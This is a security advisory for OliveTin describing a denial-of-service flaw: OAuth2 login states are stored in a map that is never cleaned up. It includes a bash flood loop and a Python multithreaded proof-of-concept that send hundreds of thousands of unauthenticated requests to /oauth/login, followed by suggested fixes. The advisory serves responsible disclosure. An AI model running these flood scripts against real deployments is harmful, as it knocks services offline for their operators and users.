GHSA-xpxj-f2fm-rqch

## Summary

OliveTin's OAuth2 login handler stores per-login state in an in-memory map (`registeredStates`) that grows unboundedly. States are added on every `/oauth/login` request but are **never deleted or expired**. An unauthenticated attacker can send millions of requests to `/oauth/login` to fill the map with state entries, exhausting server memory and causing a denial of service.

This is **distinct from CVE-2026-28789** (concurrent map writes crash). That CVE was about the panic from unsynchronized map access — the fix added a `sync.RWMutex`. This vulnerability is about the **unbounded growth** of the map even WITH the mutex, as no cleanup mechanism exists.

## Affected Versions

- All versions with OAuth2 support, including >= 3000.10.3 (which patched CVE-2026-28789)

## Details

In `service/internal/auth/otoauth2/restapi_auth_oauth2.go`:

```go type OAuth2Handler struct { cfg *config.Config mu sync.RWMutex registeredStates map[string]*oauth2State // NEVER cleaned up registeredProviders map[string]*oauth2.Config } ```

The `HandleOAuthLogin` handler adds a new state on every request:

```go func (h *OAuth2Handler) HandleOAuthLogin(w http.ResponseWriter, r *http.Request) { state, _ := randString(16) // 24-byte base64 string // ... h.mu.Lock() h.registeredStates[state] = &oauth2State{ providerConfig: provider, providerName: providerName, Username: "", } h.mu.Unlock() // ... redirect to OAuth2 provider } ```

The `HandleOAuthCallback` handler updates existing states but never removes them:

```go func (h *OAuth2Handler) HandleOAuthCallback(w http.ResponseWriter, r *http.Request) { // ... h.mu.Lock() h.registeredStates[state].Username = userinfo.Username // Updates, never deletes h.registeredStates[state].Usergroup = ... h.mu.Unlock() } ```

There is **no TTL, no expiry check, no periodic cleanup, and no max size limit** on `registeredStates`.

### Memory Impact Per State

Each map entry consists of: - Key: ~24 bytes (base64 string) - Value: `*oauth2State` struct containing: - `providerConfig *oauth2.Config` (pointer, 8 bytes + shared config) - `providerName string` (~8-16 bytes) - `Username string` (empty initially) - `Usergroup string` (empty initially) - Go map overhead: ~100-150 bytes per entry

Estimated: **~200 bytes per state entry**

At 1 million states ≈ **200 MB** of memory consumed. At 10 million states ≈ **2 GB** of memory consumed.

### Attack Vector

The `/oauth/login` endpoint is publicly accessible (unauthenticated). Each request is lightweight (no heavy computation like argon2). The server writes a cookie and returns a 302 redirect. An attacker can send thousands of requests per second.

## PoC

### Prerequisites

- OliveTin instance with at least one OAuth2 provider configured - Network access to `/oauth/login`

### Config

```yaml listenAddressSingleHTTPFrontend: 0.0.0.0:1337 logLevel: "INFO" checkForUpdates: false

authOAuth2RedirectUrl: "http://127.0.0.1:1337/oauth/callback" authOAuth2Providers: github: clientId: "test-client-id" clientSecret: "test-client-secret"

actions: - title: noop shell: echo "ok" ```

### Step 1: Baseline health check

```bash curl -i http://127.0.0.1:1337/readyz # Expected: 200 OK

curl -I "http://127.0.0.1:1337/oauth/login?provider=github" # Expected: 302 Found (redirect to GitHub) ```

### Step 2: Flood with state-creation requests

```bash # Each request creates a new map entry that is never cleaned up for i in $(seq 1 100000); do curl -s -o /dev/null "http://127.0.0.1:1337/oauth/login?provider=github" & # Throttle to avoid connection limits if (( i % 500 == 0 )); then wait echo "Sent $i requests..." fi done wait echo "Flood complete" ```

### Step 3: Python PoC for sustained memory exhaustion

```python #!/usr/bin/env python3 """PoC: OAuth2 State Memory Exhaustion DoS

Distinct from CVE-2026-28789 (concurrent map crash). This exploits unbounded growth of the registeredStates map. """

import requests import time import sys from concurrent.futures import ThreadPoolExecutor

TARGET = "http://127.0.0.1:1337" PROVIDER = "github" WORKERS = 50 TOTAL_REQUESTS = 500000 BATCH_SIZE = 1000

def create_state(_): """Send /oauth/login to create a new state entry.""" try: requests.get( f"{TARGET}/oauth/login?provider={PROVIDER}", allow_redirects=False, timeout=5 ) return True except Exception: return False

def check_health(): """Check if the server is still responsive.""" try: r = requests.get(f"{TARGET}/readyz", timeout=5) return r.status_code == 200 except Exception: return False

print(f"[*] Target: {TARGET}") print(f"[*] Provider: {PROVIDER}") print(f"[*] Total requests: {TOTAL_REQUESTS}") print(f"[*] Workers: {WORKERS}") print()

if not check_health(): print("[!] Server not reachable") sys.exit(1)

start_time = time.time() total_created = 0

with ThreadPoolExecutor(max_workers=WORKERS) as executor: for batch_start in range(0, TOTAL_REQUESTS, BATCH_SIZE): batch_end = min(batch_start + BATCH_SIZE, TOTAL_REQUESTS) results = list(executor.map(create_state, range(batch_start, batch_end))) total_created += sum(results)

elapsed = time.time() - start_time rate = total_created / elapsed if elapsed > 0 else 0 est_memory = total_created * 200 / 1024 / 1024 # MB

print(f" States created: {total_created:>8} | " f"Rate: {rate:>6.0f}/s | " f"Est. memory: {est_memory:>6.1f} MB | " f"Healthy: {check_health()}")

if not check_health(): print(f"\n[!] Server became unresponsive after {total_created} states!") print(f"[!] Estimated memory consumed: {est_memory:.1f} MB") break

print(f"\n[*] Attack complete. {total_created} states created in {time.time()-start_time:.1f}s") ```

### Step 4: Verify memory growth (Docker)

```bash docker stats olivetin-instance --no-stream # Observe MEM USAGE growing continuously during the attack ```

## Impact

- **Who is impacted:** All OliveTin deployments with any OAuth2 provider configured - **Attack requirements:** Unauthenticated network access to `/oauth/login` - **Effect:** Gradual memory exhaustion leading to OOM kill or service degradation - **Persistence:** Memory is never reclaimed (states are never deleted) even after the attack stops — a restart is required - **Distinction from CVE-2026-28789:** That CVE was a race condition crash (concurrent map writes). This is unbounded memory growth that persists even with the mutex fix applied.

## Suggested Fix

1. Add a TTL to OAuth2 states (e.g., 15 minutes matching the cookie `MaxAge`) 2. Add a maximum state count (e.g., 10,000) with LRU eviction 3. Clean up states after successful callback 4. Add periodic garbage collection for expired states